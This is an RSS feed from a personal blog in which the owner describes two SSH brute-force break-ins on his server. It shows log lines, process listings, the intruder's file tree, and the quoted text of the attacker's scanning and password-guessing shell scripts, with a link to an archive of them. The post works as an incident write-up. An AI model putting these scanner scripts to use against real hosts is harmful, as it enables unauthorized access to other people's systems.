<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" 
   xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" 
   xmlns:html="http://www.w3.org/1999/html" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" 
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
<channel>
   <title>Parsed Participle</title>
   <link>http://parsedparticiple.org/blog</link>
   <description>Faiz's Web Journal</description>
   <language>en</language>
   <copyright>Copyright 2007 Faiz Kazi</copyright>
   <ttl>60</ttl>
   <pubDate>Sat, 25 Oct 2008 11:59 GMT</pubDate>
   <managingEditor>faiz@parsedparticiple.org</managingEditor>
   <generator>PyBlosxom http://pyblosxom.sourceforge.net/ 1.4.2 8/16/2007</generator>
<item>
   <title>./ulib - offending IP is 79.116.242.2</title>
   <guid isPermaLink="false">security/neo-ulib</guid>
   <link>http://parsedparticiple.org/blog/security/neo-ulib.html</link>
   <description><![CDATA[
Another break-in, this time by a brute-force SSH 
password-guess.  A rarely used user account called
neo was logged into from 79.116.242.2, and was
running a process that showed up like:
<pre class="code">
neo  3995  0.0  0.0   1592   4 ?  S  Oct20   0:00 ./ulib
</pre>
I wonder what it was actually doing.  A cursory
inspection of it's open file descriptors showed
nothing interesting:

<pre class="code">
# ls -l /proc/3995/fd/
total 3
lrwx------ 1 neo neo 64 Oct 25 07:43 0 -&gt; /dev/pts/1 (deleted)
lrwx------ 1 neo neo 64 Oct 25 07:43 1 -&gt; /dev/pts/1 (deleted)
lrwx------ 1 neo neo 64 Oct 25 07:43 2 -&gt; /dev/pts/1 (deleted)
</pre>


The login occurred 5 days ago:
<pre class="code">
44571:Oct 20 19:17:08 faizkazi sshd[2972]: Accepted keyboard-interactive/pam for neo from 79.116.242.2 port 3106 ssh2
44572:Oct 20 19:17:08 faizkazi sshd[2986]: (pam_unix) session opened for user neo by (uid=0)
</pre>


]]></description>
   <category domain="http://parsedparticiple.org/blog"></category>
   <pubDate>Sat, 25 Oct 2008 11:59 GMT</pubDate>
</item>
<item>
   <title><em>Sod off,</em> loathsome script-kiddie</title>
   <guid isPermaLink="false">security/script-kiddie</guid>
   <link>http://parsedparticiple.org/blog/security/script-kiddie.html</link>
   <description><![CDATA[
Someone (or should I say, something, because this looks 
like some auto-scanning script) gained access via SSH
using one of the unused user accounts on this server.
Nothing very spectacular, especially since everything was
easily visible with <code>ps</code>, and even <code>who</code>.
the IP seems to be: <code>86.123.17.188</code>.
<p>
I could see this when I ran <code>who</code>:
<pre class="code">
faiz     pts/3        Nov 19 13:56 (p02a702.tokynt01.ap.so-net.ne.jp)
vasanth  pts/2        Nov 18 23:37 (86.123.17.188:S.0)
</pre>
</p>
<p>Looks like it never got beyond that, though I saw some hundreds of
'./ssh' processes running, which, after summarily killing off, I found
and archived the offending scripts: These were stored and running off of
the directory <code> /var/tmp/vi.recover/irc/ </code> as the user 
'vasanth'. I suspect a weak password lead to a brute-force SSH break-in.
Not at all a bother, but nothing that can't be fixed by an <code>iptables</code>
'<code>-m recent</code>' filter.
</p>
Contents of the directory the intruder was running the scripts from:
<pre class="code" style="height:120px;">
var/
`-- tmp
    `-- vi.recover
        `-- irc
            |-- 1
            |-- 10
            |-- 11
            |-- 12
            |-- 13
            |-- 14
            |-- 15
            |-- 16
            |-- 17
            |-- 18
            |-- 19
            |-- 2
            |-- 20
            |-- 209.85.ps.22
            |-- 21
            |-- 22
            |-- 23
            |-- 24
            |-- 25
            |-- 26
            |-- 27
            |-- 28
            |-- 29
            |-- 3
            |-- 30
            |-- 31
            |-- 32
            |-- 33
            |-- 34
            |-- 35
            |-- 36
            |-- 37
            |-- 38
            |-- 39
            |-- 4
            |-- 40
            |-- 41
            |-- 42
            |-- 43
            |-- 44
            |-- 45
            |-- 46
            |-- 47
            |-- 48
            |-- 49
            |-- 5
            |-- 50
            |-- 51
            |-- 52
            |-- 53
            |-- 54
            |-- 55
            |-- 56
            |-- 57
            |-- 58
            |-- 59
            |-- 6
            |-- 60
            |-- 61
            |-- 62
            |-- 63
            |-- 64
            |-- 7
            |-- 8
            |-- 9
            |-- all
            |-- common
            |-- full
            |-- go.sh
            |-- mfu.txt
            |-- pass_file
            |-- ps
            |-- r00t
            |-- skan
            |-- ss
            |-- ssh
            `-- x

</pre>
<p>Some samples from the <a href="/download/junk/kiddie-scripts.tar.gz">scripts:</a>
<em>Note: though no harm can come if you try running these binaries as a non-root
user (if you are running Linux, that is), it's probably a good idea not to run the
scripts in this archive - there's no easy way to be sure what they actually do.</em>
<pre class="code">
$ cat /var/tmp/vi.recover/irc/go.sh 
./ss 22 -b $1 -i eth0 -s 6
cat bios.txt |sort | uniq &gt; mfu.txt
./ssh-scan
rm -f bios.txt

</pre>
<pre class="code">
#!/bin/bash

clear

rm -rf $1.ps.$2

echo "#=====#==================================#=====#"
echo "#= R =# SSH AUTO SCANNER BY REGELE &amp; CO  #= R =#"
echo "#= E =#-------   #BlackCat TEAM   -------#= E =#"
echo "#= G =#----------------------------------#= G =#"
echo "#= E =# � ALL RIGHTS RESERVED TO Regele �#= E =#"
echo "#= L =#   Now Just Sit Back End Relax    #= L =#"
echo "#= E =#   IPs founder... ACTIVATING!!!   #= E =#"
echo "#Range from -&gt; $1.0.0"
echo "#Range   to -&gt; $1.255.255"
echo "#Looking on -&gt; PORT $2"

./ps $1 $2

sleep 5

cat $1.ps.$2 |sort |uniq &gt; mfu.txt

oopsnr2=`grep -c . mfu.txt`

sleep 5
echo "#---Relax ... Take it Easy---#"

cat 1 &gt; pass_file
sleep 3
./ssh 150

cat 2 &gt; pass_file
sleep 3
./ssh 150

#... and so on

echo "# It's over, you cand go outside and play now #"
</pre>
Yup, script 'kiddie' all right.
</p>

]]></description>
   <category domain="http://parsedparticiple.org/blog"></category>
   <pubDate>Mon, 19 Nov 2007 16:55 GMT</pubDate>
</item>
</channel>
</rss>
